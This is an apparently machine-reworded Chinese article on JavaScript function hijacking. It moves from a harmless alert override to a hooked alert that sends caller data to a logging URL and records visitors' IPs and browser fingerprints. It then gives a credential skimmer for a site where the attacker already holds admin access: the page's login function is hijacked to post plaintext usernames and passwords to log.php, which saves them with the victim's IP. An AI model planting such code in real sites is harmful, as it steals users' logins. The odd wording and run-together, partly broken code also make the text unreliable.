JavaScript 函数劫持并不是什么新奇的技术水平了。这两天在与同事说大话的历程中提及了这一,就简易地再回顾回顾,及其幻想在防御的应用情景。

JavaScript 函数劫持(javascript hijacking)介绍
一个简便的例子如下所示,关键逻辑性便是,用自变量 _alert储存原函数 alert,随后重写 alert 函数,在重写的函数最终启用原函数。那样取得的一个实际效果便是启用 alert 的情况下,可以往 alert 中添加其他实际操作。例如如下所示编码中实现一个取值。
<scripttype="text/javascript">var_alert=alert;alert=function(){varstr="啥也不是";_alert(str);}alert();</script>
日志纪录
这类程序编写方法常见于开发设计中的日志搜集与恢复出厂设置。即然可以劫持函数添加自身的实际操作,那麼就可以在非常隐敝的实行一些猥亵的实际操作。例如:
https://wiki.jikexueyuan.com/project/brief-talk-js/function-hijacking.html
一文中提及的根据 Hook alert 函数来纪录启用状况,或是弹一些警示信息内容,那样就可以纪录到被试者的互联网出口ip、电脑浏览器指纹识别等信息内容也再加上,指不定便是日后的呈堂证供。
<scripttype="text/javascript">functionlog(s){varimg=newImage();imgimg.style.width=img.style.height=0;img.src="http://yousite.com/log.php?caller=" encodeURIComponent(s);}var_alert=alert;window.alert=function(s){log(alert.caller);_alert(s);}</script>
探头
在一些情景下,例如:已经有管理权限,可是数据库查询中密码是数据加密的,没法解除。又或是必须检测总体目标工作人员浏览此网站的规律性。这时就可以运用劫持登陆函数来纪录密文的账户密码。如下所示实例:
onclick 事情会启用 login 函数推送要求包:
<formid="form1"><inputtype="text"id="username"name="username"/><br><inputtype="password"id="password"name="password"/><br><buttonid="submit"onclick="login()">submit</button><br></form><script>functionlogin(){varusername=document.getElementById("username").value;varpassword=document.getElementById("password").value;$.ajax({url:"login.php",type:"POST",data:{"username":username,"password":password},success:function(){alert(1);},error:function(){alert("error");}});}</script>
可以挟持 login 函数公式,在推送登录要求前,先发至探头文档中做一些纪录登录密码等实际操作。
var_login=login;login=function(){varusername=document.getElementById("username").value;varpassword=document.getElementById("password").value;$.ajax({url:"log.php",type:"POST",data:{"username":username,"password":password},success:console.log("1"),error:function(){alert("error");}});}
log.php 的主要内容如下所示:
<?php$username=$_POST["username"];$password=$_POST["password"];$ip=$_SERVER['REMOTE_ADDR'];file_put_contents("./log.txt",$username."".$password."".$ip);